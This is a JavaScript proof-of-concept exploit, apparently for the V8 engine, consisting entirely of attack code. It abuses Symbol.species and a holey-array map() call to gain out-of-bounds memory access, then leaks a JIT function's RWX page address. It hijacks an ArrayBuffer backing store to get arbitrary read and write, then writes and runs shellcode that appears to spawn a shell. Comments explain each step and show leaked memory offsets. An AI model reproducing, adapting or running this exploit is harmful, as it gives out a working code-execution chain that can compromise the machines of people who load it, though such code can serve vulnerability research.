var f64 = new Float64Array(1);
var u32 = new Uint32Array(f64.buffer);
function d2u(v) {
    f64[0] = v;
    return u32;
}
function u2d(lo, hi) {
    u32[0] = lo;
    u32[1] = hi;
    return f64[0];
}
function hex(lo, hi) {
    return "0x" + hi.toString(16) + lo.toString(16);
}
rwx_page = function(x){
    return x + 1 * 2 / 1;
}
rwx_page(10);
let victim = undefined;
let leak_victim = undefined;
let ab = undefined;
class derived extends Array {
    constructor(len){
        super(1);
        // unboxed double array for OOB R/W Primitives
        victim = [1.1, 2.2, 3.3, 4.4];
        // leak "rwx_page" value
        leak_victim = [13.37, {}, 0x1234, rwx_page, 0x1111];
        // overwrite ArrayBuffer's BackingStore and Length Property -> Arbitrary R/W Primitives
        ab = new ArrayBuffer(40);
    }
}
class poc extends Array{
    static get [Symbol.species]() {
        return derived;
    }
}
let arr = new poc();
arr.length = 1000;
arr[10] = 0x4000;
arr[14] = 0x4000;
// HOLEY Array Trick !
let mapped = arr.map( function(x) {
    return 0x4000;
});
/*
[19] : 0x1b51124b2109
[20] : 0x1bc5420fe81
[21] : 0x12340
[22] : 0x1bc5420cea9        <- rwx page
[23] : 0x11110
...
[33] : 0x2cb34bd06771
[34] : 0x11825b502241
[35] : 0x11825b502241
[36] : 0x280                <- ArrayBuffer Length
*/
let rwx_lo = 0;
let rwx_hi = 0;
t = d2u(victim[22]);
rwx_lo = t[0];
rwx_hi = t[1];
// ArrayBuffer Length
victim[36] = u2d(0, 0x1330);
// ArrayBuffer Backing Store
victim[37] = u2d(rwx_lo - 1, rwx_hi);
let dv = new DataView(ab);
code_lo = dv.getUint32(0x38, true);
code_hi = dv.getUint32(0x38 + 4, true);
var shellcode = [0xbb48c031, 0x91969dd1, 0xff978cd0, 0x53dbf748, 0x52995f54, 0xb05e5457, 0x50f3b];
victim[37] = u2d(code_lo, code_hi);
for(let i = 0; i < shellcode.length; i++) {
    dv.setUint32(4 * i, shellcode[i], true);
}
rwx_page(10);
